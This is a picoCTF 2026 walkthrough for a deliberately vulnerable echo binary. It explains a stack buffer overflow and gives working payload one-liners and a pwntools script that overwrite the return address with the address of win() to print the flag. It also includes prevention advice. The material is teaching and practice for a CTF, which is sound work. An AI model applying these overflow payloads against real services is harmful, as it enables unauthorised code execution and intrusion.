Skip to main content

Echo Escape 1 picoCTF 2026 Solution

A binary exploitation challenge targeting a vulnerable echo service to gain control of execution flow.

Published: March 20, 2026Updated: September 20, 2026

Description

The secure echo service welcomes you politely, but what if you don't stay polite? Can you make it reveal the hidden flag? Download the program file and source code.

Download vuln and its source code.
Read the source code to understand how input is handled.
bash
cat vuln.c
bash
chmod +x vuln

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Find the buffer overflow in the source
    Observation
    The source declares a 32-byte buffer and then passes 128 to read(). That mismatch between declared size and read limit is a stack overflow, and it reaches the return address.
    Read vuln.c. The buffer is declared as 32 bytes, but read() is called with a size of 128. This mismatch lets you write past the end of the buffer and overwrite the saved return address on the stack.
    bash
    cat vuln.c
    What didn't work first

    Tried: Run the binary and try sending a very long string manually via the terminal to see if it crashes.

    Typing input by hand cannot embed null bytes or control the exact byte count, and the payload needs both: 40 bytes of padding and an 8-byte address made of non-printable bytes. Write it from a script.

    Tried: Assume the padding is 32 bytes (the declared buffer size) and skip the saved RBP slot.

    32 bytes fills the buffer and stops. The saved RBP occupies the next 8 bytes, so a 32-byte pad reaches only into that and leaves the return address alone. 40 bytes reaches it.

    Learn more

    A stack buffer overflow occurs when more bytes are written into a stack-allocated buffer than it can hold. The extra bytes overwrite adjacent stack data, including the saved base pointer and the saved return address. When the function returns, it jumps to whatever address is now in the return address slot.

    In x86-64, when a function is called, the return address is pushed onto the stack first, then the old frame pointer, then local variables are allocated below that. So the layout from the buffer start upward is: buffer (32 bytes), then the saved RBP (8 bytes), then the return address (8 bytes). Writing 40 bytes of padding followed by the address of win overwrites the return address to redirect execution there.

  2. Step 2Find the address of win()
    Observation
    There is a win() function that opens and prints the flag and is never called. Its exact address is the overwrite target.
    Locate the win() function in Ghidra or with objdump. It reads and prints the flag file.
    bash
    objdump -d vuln | grep '<win>'
    python
    python3 -c "from pwn import *; e=ELF('./vuln'); print(hex(e.sym['win']))"

    Expected output

    0000000000401256 <win>:
    0x401256
    What didn't work first

    Tried: Open the binary in a hex editor and search for the string 'win' to find the function address.

    A hex editor finds the ASCII letters of 'win' in the symbol table or string sections, but those file offsets are not the executable address. The real start address comes from the symbol table entry as the ELF loader reads it. objdump and pwntools both parse that correctly.

    Tried: Use nm vuln instead of objdump to get the win address.

    nm works fine on an unstripped binary and prints the address, so it is a valid alternative here. It fails on a stripped binary, where the symbol table is gone and it returns nothing; there you grep the disassembly instead.

    Learn more

    The binary contains a win function that is never called in normal program flow. This function reads and prints the flag file. By overwriting the return address with the address of win, the program jumps to it when the vulnerable function returns.

    In Ghidra, open the binary, let it analyze, then look at the main program in the decompiler. You can see the buffer, the read call, and locate the win function address in the symbol tree.

  3. Step 3Build and send the exploit payload
    Observation
    On x86-64 the 32-byte buffer sits below the 8-byte saved RBP, and the return address follows. So 40 bytes of padding plus the win() address, little-endian, lands exactly on that slot.
    The buffer is 32 bytes below RBP. Above the buffer is 8 bytes of old RBP, then the return address. So 40 bytes of padding followed by the win address overwrites the return address. Send the payload via netcat.
    bash
    # Build the payload: 40 bytes of 'A' padding, then the 8-byte win address in little-endian.
    bash
    # Replace 0x401256 with the real win address from objdump. struct.pack('<Q', ...) emits 8 bytes for x86-64.
    python
    python3 -c "import sys, struct; sys.stdout.buffer.write(b'A'*40 + struct.pack('<Q', 0x401256))" | nc <HOST> <PORT_FROM_INSTANCE>
    bash
    # Or use pwntools:
    python
    python3 << 'EOF'
    from pwn import *
    
    e = ELF("./vuln")
    win_addr = e.sym["win"]
    
    payload = b"A" * 40
    payload += p64(win_addr)
    
    r = remote("<HOST>", <PORT_FROM_INSTANCE>)
    r.sendafter(b"Welcome", payload)
    print(r.recvall(timeout=3))
    EOF
    What didn't work first

    Tried: Pipe the payload directly with printf or echo instead of python3, for example: printf 'AAAA...\x56\x12\x40' | nc host port.

    Shell printf handles escapes inconsistently and truncates at null bytes, which fill most 64-bit addresses once padded to 8 bytes. This address carries five nulls that printf silently drops, so a short payload goes out and misses the return address slot. Writing through Python's buffered stdout keeps every byte.

    Tried: Use the win address from the local binary on the remote server without checking whether ASLR is enabled.

    If the binary were PIE, its base would move each run and the address from local objdump would be a relative offset rather than a runtime address. This one is not PIE, as the fixed address shows, so the value holds on the server too. checksec confirms it beforehand.

    Learn more

    The payload structure is: 40 bytes of padding (to fill the 32-byte buffer plus the 8-byte saved RBP), followed by the 8-byte little-endian address of win. When the function executes its ret instruction, it pops this address off the stack and jumps there.

    p64(addr) in pwntools packs a 64-bit integer into 8 bytes in little-endian order, which is the format x86-64 expects for return addresses. The Intel architecture is little-endian, meaning the least significant byte comes first in memory.

    See Buffer Overflow Binary Exploitation and Pwntools for CTF for the broader workflow.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{3ch0_s3rv1c3_br34k5_...}

Stack buffer overflow: buffer is 32 bytes but read() accepts 128. Write 40 bytes of padding then the address of win() to redirect execution and read the flag.

Key takeaway

A stack overflow works because local variables, the saved frame pointer, and the return address all share one contiguous region. Write past a buffer's declared size and you choose where the function returns, including into code the program never calls. The same spatial confusion drives heap overflows, off-by-one bugs, and format-string writes. Stack canaries, ASLR, and NX each block a different link in that chain.

How to prevent this

The only root cause is reading more bytes than the buffer can hold. Bound the read to the buffer size.

  • Use bounded reads: read(0, buf, sizeof(buf)) or fgets(buf, sizeof(buf), stdin). Never pass a hardcoded size larger than the actual allocation.
  • Compile with -fstack-protector-strong. A stack canary placed between the buffer and the return address detects overflows before the function returns and aborts the process.
  • Don't ship a win() function that reads /flag in production binaries. CTF challenges include it for teaching; real code should never have an unreachable "open the vault" function.

Related reading

Tools used in this challenge

Where to go next